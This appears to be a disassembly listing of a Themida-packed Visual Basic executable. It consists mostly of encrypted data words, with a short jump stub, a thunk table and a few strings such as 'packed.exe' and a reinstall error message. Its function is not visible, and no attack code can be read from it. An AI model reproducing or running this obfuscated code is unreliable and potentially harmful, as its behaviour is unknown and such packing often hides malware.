0D98CBB99h, 9D01A0E8h, 613D64ACh dd 8CB25A70h, 0F4A74C69h, 29FE9A1h, 3D63AB9Ch, 0E0BEE161h dd 98A9FD8Dh, 5FB2C8B9h, 0A04271FEh, 0CB5B4B58h, 1C5437EEh dd 10BC9EDEh, 746518BDh, 763073BBh, 0A6F9ADF6h, 6B237B26h dd 8E1E8021h, 39EF1493h, 9BE8297Dh, 0CA1D891Bh, 8F4D594Ah dd 3ACC7C85h, 0B53D15ADh, 0C2000007h, 0BC06BEE0h, 0BB05BDE9h dd 0B903BBEBh, 0B5FFB7E7h, 9000B8EEh, 287E25E0h, 25792670h dd 2581236Dh, 207E236Dh, 374D4868h, 0B39992D1h, 0B3890684h dd 0BCD2C386h, 0BB99DB41h, 995243F6h, 1D335551h, 4C6667F7h dd 91E4B76Ah, 560E9011h, 7909950Ch, 44351425h, 7404B92Eh dd 4D0BBE42h, 3AD61ED1h, 4DF1C961h, 2A000007h, 246E2678h dd 236D2581h, 216B2383h, 1D671F7Fh, 0F8682086h, 90168D78h dd 8D118ED8h, 8D198BD5h, 88168BD5h, 9FB5B0D0h, 0B3999279h dd 7DF16EECh, 0EFEA7A24h, 768CFCA7h, 0B581A98Eh, 0AD3D10C3h dd 0A4FD7DD0h, 0FF1A6AFAh, 0CE2D4080h, 3FBFB64Dh, 0F2EC3F67h dd 0A6F8A969h, 5D7FD8EEh, 14F5642Fh, 40000000h, 0A5DBC40Ch dd 81A9698Fh, 5629DCB5h, 3323503h, 7D980000h, 96EA7A24h dd 8A728865h, 0BFB581A9h, 3248390Ch, 0BB99DCDFh, 0DBCBD820h dd 9312E388h, 3D3E2EB4h, 0BB61AF4Fh, 0AE4C664Ch, 0B57028FBh dd 0DD6D396Dh, 742DAD00h, 0F9AE7F46h, 9063A401h, 792D7600h dd 0BD9CADC1h, 0A17CB6CCh, 5E11427Eh, 237B256Dh, 0AFC5B693h dd 464EE149h, 5F649FCh, 2BAE4BDh, 25B5E9B8h, 0EACDAB2Ah dd 38E1071Dh, 0A154464Eh, 0DC356AEAh, 0C9A0989h, 43C79C1Bh dd 3B23D955h, 155D58E8h, 6A3C6891h, 9A2AFDDAh, 13206ABDh dd 3E863F30h, 0D0AD3D61h, 8962F7Dh, 0CE9F485Ch, 3C1850B8h dd 0A50558h, 4D53D3A6h, 98C07E51h, 0CA24BE05h, 61A5A32h dd 455D0000h, 4E57A159h, 5056A058h, 4C549E56h, 53509A52h dd 452B9B53h, 0DC5E1C2h, 0AC2DCC3h, 0AC2E4C0h, 5BDE1C0h dd 2CD4EAE5h, 21B39995h, 247D26A3h, 4160EA7Ah, 7B246C5Dh dd 0E7772F76h, 1680370Ah, 5121902Eh, 22AC3C8Fh, 6EE0484h dd 3BB58181h, 9B25B588h, 78099905h, 74BACD56h, 9A07CB50h dd 21364C04h, 53642F93h, 7, 1AA2F9Eh, 7D920000h, 9EBC7A24h dd 0BCC903B4h, 5964C24h, 0C1E10000h, 0CADB25DDh, 0CCDA24DCh dd 0C8D822DAh, 0CFD41ED6h, 0C1AF1FD7h, 91495D46h, 8E465847h dd 8E466044h, 89415D44h, 0B0586E69h, 0A5B39994h, 0C40CAA27h dd 5936C6E0h, 651B8606h, 81A9A94Fh, 0C3E3C1B5h, 0FEB15633h dd 90119B2Bh, 0A932DAF0h, 7427B581h, 9DC111A1h, 514D5484h dd 6B91A760h, 0CCB581A9h, 0A267098h, 14C76CA5h, 64F309C1h dd 10642F3Fh, 2Eh, 11E2F5Bh, 0B5340000h, 0BBC72849h, 37CA1D4Ch dd 0AED4530Ch, 0F0D28B2h, 1CF71D6Bh, 0B76AB581h, 0E2A46400h dd 0F44725E5h, 0F726h, 0C40C8900h, 17871ADFh, 57D7AA87h dd 0E8C55549h, 5B3E4B95h, 2482226Ah, 0B0C6B794h, 0B581A948h dd 6F74AFDh, 99DC1DF0h, 0E7772ABBh, 0A7FFA4ECh, 6DF90A54h dd 51DB6B33h, 0AB7E5155h, 17BA4BAh, 0E7A04274h, 54032BD1h dd 425C4346h, 4EB6CC9Dh, 3465403h, 852A7D50h, 1EF814D2h dd 720A3AD6h, 48F9Ah, 0E4BAE800h, 0E3C3E22Ch, 0E1C5E12Bh dd 0DDC1DF29h, 0DEC8DB25h, 4BBAB626h, 4C964E58h, 49934B53h dd 49934B5Bh, 6E8E4658h, 97B75D73h, 2CAAB399h, 1686B3AFh dd 68366990h, 55280595h, 0F7D54E64h, 53EABB93h, 6CC11333h dd 1A0BDE07h, 41D1CDD2h, 0E5366780h, 481B50B9h, 76C9DDC8h dd 3D693D85h, 5FB86D85h, 0BFE24C6Ch, 0FEA6EEDFh, 2AFDA9FBh dd 0B26ABD9Ah, 0E9BB3E68h, 83139310h, 6643D3A6h, 0C0080393h dd 5532C2E4h, 42D2CCD5h, 0FD441265h, 0A7000003h, 8E1686B3h dd 0D8AB8818h, 0DC3ED1E7h, 580BBB99h, 844774C8h, 1907D93h dd 12C54274h, 0D61E3254h, 0D0A8403Ah, 3D4h, 0E79FFFA3h dd 0E69E089Dh, 0E49C0A9Ch, 0E098069Ah, 0E1990D96h, 9B08FF71h dd 9609530Bh, 9E065008h, 9B065008h, 302B4B03h, 9996F21Ah dd 6CE967B3h, 0A8E68D0Ch, 0F47A160h, 824172BCh, 0F28C7B91h dd 0FEB1BB99h, 970C540Dh, 5235DBF1h, 75284C66h, 1C8812A2h dd 4A1DFA8Ah, 0C72A77F7h, 5936C6D8h, 1D84CE86h, 5E489081h dd 0C699059Bh, 76065936h, 41321122h, 7E20A32Bh, 2E1FD242h dd 2BE3BBE6h, 6F31C0E1h, 0D1CC5C2Fh, 5DC99918h, 82991457h dd 4ED6CC34h, 0DDCE8146h, 4ED621C7h, 0E611446h, 0E3D4B7C4h dd 5CC5BCCDh, 10CE8148h, 24BEDBC0h, 1D825AF2h, 5A000003h dd 549E5648h, 539D5551h, 519B5353h, 4D974F4Fh, 28985056h dd 0C0E6BD48h, 0BDE1BE08h, 0BDE9BB05h, 0B8E6BB05h, 0CFE5E000h dd 0B3999629h, 7D219E1Ch, 60EA7A24h, 0EAA55D41h, 0B2F4FDA2h dd 0B49121F4h, 0DDB563FDh, 4B9E242Ch, 2011F001h, 72871F67h dd 7E47432h, 74C7A434h, 933E7126h, 0A333E6BBh, 6F76994Bh dd 0B4FCEF4Ch, 2A25B5F1h, 6F76EC14h, 0DBAE614Ch, 79958E88h dd 6A40DBDEh, 4596h, 8D0CE100h, 0B606C078h, 0CF40AD1h dd 41B581C1h, 6B3BBB8Eh, 6D9EE83Bh, 1AA7BDAEh, 1BBB93A9h dd 0A480D868h, 244C6FF9h, 44133328h, 16A416Eh, 61C70D82h dd 6FF7A54Bh, 2EE5984Ch, 0FA4D2BDFh, 0E438h, 0C40C8300h dd 0F474C7DFh, 0D761F1ADh, 4F4ADACCh, 0A9988096h, 6DCDB581h dd 45986B33h, 0D1C2DCC5h, 33861889h, 4660A8A3h, 148D0D60h dd 1CBAD28Ah, 5EB581AEh, 0EB6A5B43h, 80B8F92Ah, 3F62E266h dd 0A540C5Fh, 23770797h, 85198616h, 0C008C1B2h, 512EBEE0h dd 80DBB0FEh, 9B6C446Ch, 6C839F85h, 0F8AEF74Ch, 33E68B68h dd 0A5EDA860h, 7C24A4FAh, 7485CF22h, 0D48EA495h, 69427B72h dd 267DC5B6h, 257EC880h, 3D6D0D4h, 0DBC82D45h, 0AD851D3Ah dd 1C4h, 0F7AFEFB3h, 0F6AEF8ADh, 0F4ACFAACh, 0F0A8F6AAh dd 0F1A9FDA6h, 8B18EF81h, 8619631Bh, 8E166018h, 8B166018h dd 403B5B13h, 99E8C22Ah, 7CF977B3h, 1A62267Dh, 22CA1886h dd 17B581A9h, 0E7A09164h, 509E009Fh, 0B581A9A8h, 0DF97EA9Dh dd 0DA920C95h, 0C386B37Dh, 0C10FBCD2h, 0D030BB93h, 6441D1D5h dd 7FA90191h, 4D4C6C41h, 658BA15Ah, 0D84C6C41h, 0A8FEA525h dd 46C65B55h, 6A41D711h, 0B563h, 247DAE00h, 4360EA7Ah dd 28B8EEB6h, 90E8784Bh, 0B581AE26h, 1C846D34h, 9515F282h dd 0D3C4970Fh, 256DA754h, 1669A60Bh, 8C24A35Eh, 0E5050A9Bh dd 0FDA42477h, 21F4B2F4h, 4D0C3D91h, 474D465Ch, 6EB6446Ch dd 751A6D31h, 964F0AC2h, 6CC19880h, 9A1ACD4Ch, 0FA449707h dd 3190AC9h, 427B3C08h, 51998A3Dh, 529C5452h, 4D975551h dd 653ADB09h, 0CEF5CDh, 0F9A90000h, 2A3EDA5h, 4A2ECA4h dd 0A0EAA2h, 79CE69Eh, 0F977E79Fh, 5911950Eh, 560E900Fh dd 560E980Ch, 5109950Ch, 0F8203631h, 6DB399EBh, 267D72EFh dd 5A478F80h, 84D7B444h, 7F1F82CCh, 247D6AC7h, 4160EA7Ah dd 64ED6C5Dh, 2DA0E2C6h, 0EF03BB0Eh, 0F80EFFC2h, 0BB99C872h dd 0D660F0A3h, 63E2D3CBh, 0C7CFD545h, 1ED629A3h, 41D1CDD4h dd 5FD86EE9h, 0C3585415h, 540C920Fh, 1607970Ah, 7ED1D5CEh dd 0FD74F3EEh, 0ADF1AEDEh, 4389401Dh, 0CE4EA164h, 623CCCD2h dd 0EBA4C55Eh, 31522FD5h, 1C6F2277h, 0E199059Ch, 0B1576D26h dd 0A4773152h, 831E9EF1h, 5201E7FDh, 81347731h, 2D009E01h dd 0F1ADF43Ch, 0A1318461h, 3C9h, 13AE2C00h, 0E979257Dh dd 0CC5C425Fh, 0B4446242h, 9929752Ah, 8212940Fh, 6BFBABF8h dd 4FDFBFE1h, 35C5E1C5h, 1CACFAABh, 0E7895739h, 4C781h dd 0BB530000h, 4, 875BDF29h, 685C243Ch, 791Dh, 68241C89h dd 669Dh, 68240C89h, 61833C3h, 83241C8Bh, 8B5404C4h, 0C481240Ch dd 4, 8B850h, 20050000h, 17B464Bh, 4B202DC8h, 18897B46h dd 2434FF58h, 4C48359h, 53241C8Bh, 0C381E389h, 4, 8704C383h dd 0E95C241Ch, 0FFFB076Ah, 0D2DB6409h, 0E4CBF04Ah ; --------------------------------------------------------------------------- aas ficom word ptr [ecx] loc_5AADAF: ; CODE XREF: Themida_:loc_5A9D3Ej mov eax, 618431Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 7759B05h, 6294A981h, 45E90B17h, 754A7C62h, 23802639h dd 4F4A5612h, 73E4F5DAh, 150FAF28h, 0D5F1CADh, 4152FDDDh dd 25FB202h, 42CAA25Dh, 42C35060h, 5E4585DCh, 7D3FCB1h dd 7FDED67Ah, 34E24D2Ah, 3F82D3A4h, 16DE9h, 0F4622900h dd 0E705C546h, 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h dd 656B6361h, 78652E64h, 65h, 3Ah dup(0) dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h dd 4 dup(0) dd 66E90000h, 6800001Ch, 618475Dh, 0FA3A94E9h, 485C68FFh dd 8AE90618h, 68FFFA3Ah, 618493Ah, 0FA3A80E9h, 49C668FFh dd 76E90618h, 68FFFA3Ah, 6184A05h, 0FA3A6CE9h, 4AEA68FFh dd 62E90618h, 68FFFA3Ah, 6184B3Dh, 0FA3A58E9h, 4B8C68FFh dd 4EE90618h, 68FFFA3Ah, 6185333h, 0FA3A44E9h, 53E068FFh dd 3AE90618h, 68FFFA3Ah, 61854BAh, 0FA3A30E9h, 559F68FFh dd 26E90618h, 68FFFA3Ah, 618562Fh, 0FA3A1CE9h, 571168FFh dd 12E90618h, 68FFFA3Ah, 618578Dh, 0FA3A08E9h, 583568FFh dd 0FEE90618h, 68FFFA39h, 6185EB0h, 0FA39F4E9h, 5FB568FFh dd 0EAE90618h, 68FFFA39h, 6186069h, 0FA39E0E9h, 0CF3B2EFFh dd 0E34D4131h, 0FB5D5545h, 11776D5Dh, 268E8373h, 4EBC1B88h dd 6353F159h, 7A6A086Ch, 93832181h, 9E9D3B99h, 4DA4CC3Dh dd 98AB7601h, 0B7150F46h, 0BDD94BB4h, 31918AA6h, 275E7C9Dh dd 8DEBE5BDh, 82764CEFh, 3A31AE18h, 9D73FCA7h, 63D640A8h dd 69FBA0A6h, 546B6DB7h, 3C39E904h, 89DFE244h, 0ADD546F1h dd 0BC75FBF3h, 552BD66Eh, 0AE91FB5Dh, 0FBF3315Dh, 0B0906975h dd 0FF5F582Eh, 6B61B895h, 2FA8DE30h, 4E000000h, 5CCD636Ah dd 6FE90734h, 6259ED3Bh, 2C261967h, 9D0EB951h, 69FC079Ch dd 0B5C5FADh, 75FBE8DFh, 8A5E3E17h, 0DE305C33h, 0BF7Ah dd 150F2000h, 0D94BB4B7h, 1B3E270Dh, 0CE44E34h, 43ACAF17h dd 606017D1h, 0B21C7769h, 7F82E0DAh, 0D371CFC9h, 0E9A4D848h dd 2A847E6Fh, 0E49206DBh, 0E50D7EFDh, 0F46FE928h, 0D8760EA6h dd 16B5F35h, 67C5BF97h, 7F020964h, 27BA63D4h, 75C369FBh dd 0B84B42D7h, 0EB13840Dh, 0F275FB28h, 3EAF3AA4h, 700FCA0Fh dd 9C25D01Eh, 967AA213h, 0D3816FEFh, 77E179DBh, 0A442AA9Fh dd 6557BFB4h, 79436859h, 0C42ACFB2h, 6C000019h, 7F6F0D79h dd 9383218Bh, 0AB9B399Bh, 0C1B14FB5h, 59C664CCh, 2F978CFEh dd 46AAA191h, 5FBFB8A8h, 79D7D1C1h, 0A7BDCDBh, 76014EE2h dd 0F84D6E9h, 2414B21Ah, 0DA2ECC2Ah, 8A80636Ah, 0E0087924h dd 0EF6FE907h, 0ED5E09A1h, 69FB11ECh, 4E24CF1Dh, 0A386F05Ah dd 0FB1E2652h, 0A5855E75h, 2F917AD1h, 0D1C1DEh, 0F670000h dd 0FEB4B715h, 4D9EA109h, 6FE902DDh, 7D1B7973h, 3235938Dh dd 0A7CF40C9h, 0B66FE90Bh, 8A81FE68h, 3AC34CF7h, 0DAF1A3C8h dd 7306A653h, 6FE9834Bh, 279A0452h, 69FB827Eh, 0B1170DE3h dd 0FEE58AEh, 83153DAEh, 0D62475FBh, 0C4BD933Eh, 14726C64h dd 0D351BB11h, 9B44F3Eh, 0D7DA3A33h, 1B8C1781h, 701028FDh dd 163EAF10h, 256FEFDDh, 22943FD7h, 2DF3CA42h, 42B35E89h dd 6FEF5A1Ah, 0DE69D321h, 554B1308h, 0C9B957EFh, 3A7A6CD4h dd 0BD7943A4h, 18C535DAh, 786B0000h, 8A7E6E0Ch, 9A928220h dd 0B4AA9A38h, 0CBC0B04Eh, 0F958C563h, 902E968Bh, 0A745A9A0h dd 0C05EBEB7h, 0DA78D6D0h, 0E1097ADBh, 0E876014Fh, 1A0F83D5h dd 2A2414B2h, 0FDA2ECCh, 0FE5E5715h, 0A0DA5FBh, 51FC5A54h dd 1F22827Bh, 4CE15FC9h, 0A617C241h, 69FB0EF9h, 66B7BA08h dd 75FB0F3Ah, 0E5B99972h, 0DE2F868Eh, 0B4D5h, 80AD7B00h dd 16C1404Bh, 2C911B8Dh, 5D3728CEh, 1BE380F3h, 148669FCh dd 0BA2BDB0Bh, 75FB0892h, 0B5B74B99h, 0A584EE68h, 100A5D57h dd 93C1864Fh, 0F761C7BDh, 45F0737Ah, 8340BFD4h, 0FD004E3Ch dd 6D18ABA2h, 96B4A3FCh, 31CC3E3Eh, 0C9EF6809h, 351309Ah dd 2A888258h, 1B77E98Ch, 8EF8EC19h, 2255FAh, 66C4BE96h dd 0B9FEAE74h, 25CAADA6h, 17E7h, 4CEA5649h, 60FE685Ch dd 78167870h, 8E2C9288h, 0A341A99Eh, 7469DB36h, 877E6E0Ch dd 9C958523h, 0B4AE9E3Ch, 58B9B856h, 150BFE7h, 69BBCE76h dd 0B4B7150Fh, 24CF5259h, 0FB0F06B3h, 2BC91769h, 3D80ADD7h dd 70A7267h, 0C3CA47B1h, 87249540h, 9669FB2Fh, 0E5FB4E48h dd 8AEED424h, 0E4550083h, 0EB3608CFh, 0B20D105Eh, 70CEC8BBh dd 63BC2DD8h, 0AAF1255Ch, 0CA402FCh, 33918B61h, 4DABA595h dd 0C59BD5Bh, 2A78AF8h, 175Bh, 0D876E2D5h, 0EC8AF4E8h dd 4A204FCh, 1AB81E14h, 2FCD352Ah, 0F567C2h, 130AFA98h dd 282111AFh, 403A2AC8h, 0E44544E2h, 1504B73h, 0ED3F5276h dd 0C5B7150Fh, 7949F651h, 1C6207EAh, 14000017h, 2717B521h dd 3B2BC933h, 5343E143h, 6959F75Dh, 16E0C74h, 0D73F34A6h dd 0EE524939h, 7676050h, 217F7969h, 0B2238483h, 7601518Ah dd 0F2C7E91h, 59B4B715h, 17756F52h, 0D1C6BE14h, 78106669h dd 2FB35CCDh, 6CBA69FBh, 0AC6E4FC1h, 0FF3E541Dh, 0B051FB6Bh dd 43ADDAE4h, 524C22C5h, 0A105FCF4h, 0A4DE489Eh, 0AB363598h dd 35F28F00h, 0D523700Dh, 0A19A70DBh, 7EE83E41h, 41EE910Bh dd 942F1EF3h, 0CD6378E9h, 74C206A3h, 2C171671h, 224ABB38h dd 290AA3AEh, 0EA4043DBh, 481EA752h, 33958D51h, 0D842989Bh dd 0B7210C65h, 7248D104h, 5D85187Ah, 6C0C98DFh, 6CAF8A1Eh dd 0B9FF8CDEh, 7722704Fh, 444DA7A1h, 76E1F3FFh, 0D17412AAh dd 0B2AFD748h, 70BE0C98h, 0D6342E06h, 9A4B28E4h, 771CFFDCh dd 1637h, 0FC9A06F9h, 10AE180Ch, 28C62820h, 3EDC4238h dd 53F1594Eh, 24198BE6h, 372E1EBCh, 4C4535D3h, 645E4EECh dd 8696806h, 1516F97h, 196B7E76h, 0E9074C74h, 1793BF6Fh dd 0E20E6FE9h, 5D6FE927h, 6FE90731h, 0FDEF4D47h, 7949F6FDh dd 0E4862B0Eh, 4C000015h, 5F4FED59h, 7363016Bh, 8B7B197Bh dd 0A1912F95h, 39A644ACh, 0F776CDEh, 268A8171h, 3F9F9888h dd 59B7B1A1h, 0EA5BBCBBh, 760152C2h, 6A64B6C9h, 0AC35E063h dd 0E78E2D6h, 0FB32CA9Bh, 3F35E369h, 0A14F41D9h, 567337C2h dd 1595CE73h, 0A89B0000h, 0BAAE9E3Ch, 0CAC2B250h, 0E4DACA68h dd 0FBF0E07Eh, 2988F593h, 0C05EC6BBh, 0D775D9D0h, 0F08EEEE7h dd 0AA80600h, 1139AA0Bh, 18760152h, 150FB305h, 4FEB4B7h dd 52EA5046h, 9B7B324Fh, 0E64E4319h, 7F489F7Ch, 3C8FD81Dh dd 35000000h, 0E9074874h, 0DED5AB6Fh, 3E38107Ah, 22258980h dd 77DFD4CCh, 0C89E41DFh, 1A6C6FCFh, 0A242A00Bh, 0CD37CFFAh dd 0B2A7BB5Ah, 4DB6B96Fh, 0A82B53C4h, 0E4327044h, 150DB37Ah dd 0F610000h, 59B4B715h, 14786F52h, 7823BB11h, 7567EEFh dd 0B7656FE9h, 65C5FBDh, 879046Eh, 69FB2063h, 38FEF4A2h dd 4043DB43h, 1FB452EAh, 79EA952Ch, 700D2868h, 561E13C1h dd 0A3F9FC5Eh, 0BA1A130Bh, 0C6C961B7h, 61561810h, 0A3F565F9h dd 21B574A6h, 3360EB89h, 496FE976h, 6A40EB55h, 54BEB270h dd 6063FB51h, 0B44CB6AAh, 0E8DCCC4Ah, 0A0127B7Eh, 848933DCh dd 6D45AF78h, 0F00C0F79h, 94885737h, 40978C2Ah, 87D81E1Dh dd 24Eh, 0AA1408DEh, 0ABE751A7h, 2A90865Ch, 0B94843C0h dd 8949D0Eh, 57A569FBh, 40AA9E54h, 54BEB2A2h, 25D40051h dd 833C75FBh, 76E0D4A3h, 3BAC35D8h, 75FB2513h, 0E562CC1Ah dd 90735FE6h, 686BCBC4h, 4A2E7E12h, 8F18C35Bh, 0FB9EF61Eh dd 4DB70575h, 0C35851C2h, 0B301700Dh, 7C7147B0h, 655B1114h dd 25FD67FFh, 3A2AC830h, 89DADD45h, 6FE9C45Fh, 5F2E0EC7h dd 4AA8A26Ah, 8C7F14B2h, 0EBC14AF5h, 378D90F4h, 0F48D5ACDh dd 67F069FBh, 0FB93CEF6h, 258FDD75h, 180FE546h, 0C85BB1B4h dd 75FB93A0h, 0A50B01AFh, 1CB44CA2h, 0B696319h, 0D041CA6Dh dd 75FB93A8h, 27FF69B7h dd 7BCCCF2Dh, 75FB9353h, 4B1AFAB3h, 0D89C9351h, 267C7FDFh dd 9D358B8Eh, 0B11B0FFFh, 9A04F8AEh, 0E2C27B97h, 19A21F13h dd 0FB9380A8h, 0AE418F75h, 75FB9386h, 11AF4795h, 3006C51Ch dd 0A60CDEh, 5CB20000h, 0BF299186h, 878AF2E7h, 7174DCD1h dd 0EDBC9C55h, 0FE590F8h, 0CD4BB517h, 1D7E81D8h, 82C8D8h dd 0F6E0000h, 360CB715h, 8F72DC3Eh, 0D681DFD9h, 7B4DC4Dh dd 6DBB6FE9h, 716A2003h, 34A50E11h, 6FE9070Ch, 0D3CDC513h dd 37B07275h, 0D18AE857h, 0CA2822F1h, 0F050491Fh, 0BC130886h dd 3D81D7Eh, 40h, 3336E85Ah, 1013C763h, 5DB3B618h, 6A1F5BC5h dd 0C435E063h, 69FB37F7h, 0C44DF846h, 0FB382B53h, 0DF413975h dd 452892E0h, 0AB0F06DCh, 38A2CE41h, 1DA75FBh, 0AFF64D21h dd 0AF3DDE2Fh, 0E3000000h, 64AAEA5Ch, 402617DBh, 0CF5259D6h dd 2E6AB324h, 65B369FCh, 4EB8AC62h, 42370DB0h, 1781D7DAh dd 0DEE14B3Fh, 1FCA3428h, 918B5549h, 42989B33h, 20D9F5D8h dd 137D7140h, 7FCD275h, 0DD4A9C9Fh, 42A18C81h, 4C443CD4h dd 2791E7EAh, 3060F34Ah, 1C12E8DEh, 4D134CB6h, 0B9000000h dd 37E2616Ah, 16F9BEC6h, 2D2FA110h, 41095ABFh, 0A5F3D23Ch dd 0C72F24FAh, 7376D6CFh, 67D0B31Dh, 693432F5h, 47B10186h dd 0E8DDA8D4h, 7E5E1DEFh, 2822010Ah, 80F736CAh, 9BCDEEA6h dd 0DFE75803h, 2E901611h, 76342E0h, 11000000h, 5520h, 170FCE00h dd 3F980AB5h, 0A5766EA5h, 20D6B923h, 0C857C62Ch, 38591E06h dd 0E98C9FC7h, 0C860AE6Fh, 0AEA29230h, 0E9E64144h, 18EE575Ah dd 9F10BB23h, 6FE98C77h, 5BCE3886h, 90177E3Ch, 777AE4D8h dd 6265CBC1h, 0FF6E4E05h, 9C705029h, 0D81CF545h, 0C798Ch dd 6D6A3200h, 0E78ADBDEh, 4FE64232h, 6BC29676h, 0B261C8B2h dd 2Eh, 0DE6D6A58h, 79AC233h, 53A16FE9h, 0F4F336A8h, 265573AAh dd 0D1D4362Eh, 0DD2E117Bh, 0C69B5517h, 0C296764Fh, 8190BE6Bh dd 2D5B2h, 6D6A5800h, 655D33DEh, 2D5D9903h, 0B7150FD1h dd 0E13D360Ch, 8D366305h, 7520B846h, 0E999DC04h, 2B95E36Fh dd 19A20DEFh, 0E90780A8h, 3C9E966Fh, 96E4E339h, 0C30AF02Ch dd 98D51D86h, 0EDBBBC26h, 0DF496C1Eh, 38A6h, 6D6A4C00h dd 39AA33DEh, 6FE90711h, 2460CA18h, 6FDD35Ch, 98C538A2h dd 0A96FE907h, 0E2DAB05Bh, 5CDA1680h, 0A2170F22h, 0E9070931h dd 2AC2106Fh, 201955CEh, 2Eh, 0DE6D6ACEh, 0BEEB5C82h, 296FE907h dd 0CD7EF09Bh, 43CF7CEEh, 365ECF7Ah, 456FE9A6h, 5C518DF7h dd 0B5170F22h, 0DA3C340Ah, 0DB1781D7h, 0A5741955h, 0EF7B9E03h dd 4F492FAh, 27D2AC0Ah, 0F6F95751h, 695E36A0h, 91482701h dd 36BD2FB1h, 8BA665B5h, 958F67D1h, 847CE0D7h, 0CD232690h dd 54188A35h, 6189FA44h, 68846087h, 7FAB861Ah, 2F9A74DEh dd 1827C3BDh, 0EA28BC22h, 59319B8Ch, 557DEE5Fh, 6484605Dh dd 4AA47E16h, 0A932F5A3h, 605D1038h, 7A711F84h, 62D37E16h dd 84605D3Ah, 0E889F341h, 0E13F3908h, 77352FE7h, 0C61C1F7Dh dd 675C542Eh, 605DD704h, 0BE98E684h, 676AD0C6h, 0D142BBB1h dd 84605DA9h, 0C7CA62B0h, 3DAC8C05h, 0F8C7A75Eh, 0EEA6A0FEh dd 768E91F9h, 32988E80h, 217F792Fh, 3E35C1Eh, 7349F494h dd 0C2181B79h, 55D7B758h, 0BA24887Fh, 0E785EDE2h, 0F49FFDF7h dd 0C3C6241Eh, 1D7B756Dh, 784EF9B3h, 0D8B01A84h, 5D5380E3h dd 0E0B68460h, 978E86E8h, 70DA3033h, 87EDE391h, 0BC962E84h dd 841C8E0Fh, 0FEE5B9EEh, 0A7872892h, 2A20DED8h, 90C6A64h dd 89831BB3h, 0CE79D7D1h, 2AACD445h, 65B38460h, 0C09641FBh dd 0BEF862CCh, 572DD82Ch, 0A5FBFE5Eh, 0EBBA9A3Bh, 0E19993F1h dd 6CDE89E7h, 0A52D4F70h, 698CD657h, 0FCEA4FBDh, 4840FA64h dd 3F67D853h, 4E846037h, 4BBD6800h, 876FD338h, 8C46B03Bh dd 4716F6ADh, 37958F4Dh, 643AA59Fh, 52B4AC6Ah, 8165B7BAh dd 0B1A8BA2Ch, 9FDB45DDh, 5BB7150Fh, 616AD12Dh, 0F10D86E2h dd 1D86C30Ah, 58EAD5h, 6A900000h, 288E8261h, 332CDF7Dh dd 36CE66F2h, 91865CDAh, 7C702629h, 88827A12h, 67D1272Ah dd 73E6BDCh, 54F6FE9h, 0F789CBD2h, 0B814AC9Eh, 3CA2EA5Ch dd 1215776Fh, 9A9C28BCh, 86C04BB5h, 2CB51B0Fh, 11DD5B66h dd 559AF68Eh, 92865C19h, 65CF2528h, 399Eh, 616A4C00h, 0D35C86E2h dd 0E9073A62h, 9993416Fh, 4AE2383Bh, 0B7E455E0h, 206FE907h dd 225C3692h, 6B11B0Fh, 7E743A30h, 91888018h, 6AD42A2Dh dd 8E865C2Eh, 69D3292Ch, 21749BD7h, 0D36FE918h, 0FFFCE9ECh dd 48749AFFh, 0B96FE907h, 9F8F2DBCh, 119A45A7h, 0E90778A0h dd 0CF39876Fh, 7739BECh, 37E06FE9h, 0EBD9BCC5h, 44AE7CFDh dd 0FCF4C3A3h, 0F566EF9Ah, 6FE9B0CDh, 0A6248EDCh, 0E1097A03h dd 536FE9B0h, 0E6082353h, 42908F4Ah, 0A20C00D8h, 0C92721F7h dd 0B53EE15Fh, 0E99E1C44h, 6BD5236Fh, 6366FDEEh, 0BFEDA112h dd 18F8D12Dh, 66C8C096h, 0C6A30D63h, 1A74426Fh, 24AB6h dd 865C5C00h, 0D0262991h, 7C6F366h, 32396FE9h, 0DE9304AFh dd 0EF69FB03h, 1B1303A1h, 0C00B6B9h, 0FD6EF7A2h, 75FB0CD5h dd 492C96E4h, 32359F93h, 0C93AD4D7h, 75FB0CA1h, 17C25AA8h dd 0D2BB9A6h, 0A2139C70h, 6FE92C7Ah, 17883381h, 6FE92CEFh dd 6746B0FEh, 0D1C72719h, 41247949h, 0DEE9Ch, 0E34F4200h dd 0F7615545h, 0F716959h, 258B8171h, 3AA29787h, 62D02F9Ch dd 7767056Dh, 8E7E1C80h, 0A7973595h, 0B2B14FADh, 5AB8E051h dd 0B4C77601h, 0A4150F62h, 0E9070B33h, 2CC4126Fh, 50B4AB81h dd 0AA8DF74Dh, 1AC55C4Fh, 0F1444FA9h, 0B5A01269h, 57FBE49Eh dd 5A5E23B2h, 57EFE842h, 15C00EEDh, 58C2B68Ch, 1107FF55h dd 716941ABh, 8981710Fh, 82F37C27h, 7601345Ah, 0C67F1361h dd 32F775E7h, 0A1573AA4h, 0EB4649A7h, 0B5DD4EE0h, 0CB7601F5h dd 247271D3h, 6370E18Ch, 0B27013FDh, 0A3A61004h, 0A1C3B54Dh dd 0B6793F0Fh, 0D412ED3h, 0FCEF0000h, 0E02F290h, 1E1606A4h dd 382E1EBCh, 4F4434D2h, 7DDC49E7h, 14B21A0Fh, 2BC92D24h dd 44E2423Bh, 5EFC5A54h, 658DFE5Fh, 7476015Ah, 150F0F61h dd 0D94BB4B7h, 0CF41380Ah, 8D0A7460h, 7C22079Eh, 0D0A50359h dd 196F72DCh, 3180ED81h, 23DA70B7h, 8157E08Bh, 6D952888h dd 7C6FE907h, 0C839C42Eh, 69FB1103h, 173CF842h, 1E706939h dd 4B69DB86h, 62E1FC99h, 0BCAC2A94h, 31C664C2h, 8BFCA73Ah dd 7004032Ah, 95BD2EB7h, 0A46FF401h, 1AAD243h, 63B16FF4h dd 348261CBh, 59BBB389h, 71D3CBBBh, 362F056Eh, 9A946CD6h dd 0F96A4C40h, 0F08835DBh, 89B92EDh, 0FFDFEC5Dh, 0CD2E6A05h dd 200345Ch, 42ED3B76h, 200A9D1h, 0CA62B076h, 30FD7AD8h dd 39DEC173h, 0C67h, 0CC6AD6C9h, 0E07EE8DCh, 0F896F8F0h dd 0EAC1208h, 23C1291Eh, 0F4E95BB6h, 7FEEE8Ch, 1C1505A3h dd 342E1EBCh, 0D83938D6h, 15B3F67h, 0E93B4E76h, 0B4B7150Fh dd 24CF5259h, 9C94564Eh, 0AD38A23Ah, 0FB2C173Ch, 0FDA8F669h dd 24CF2D27h, 0FB318BB3h, 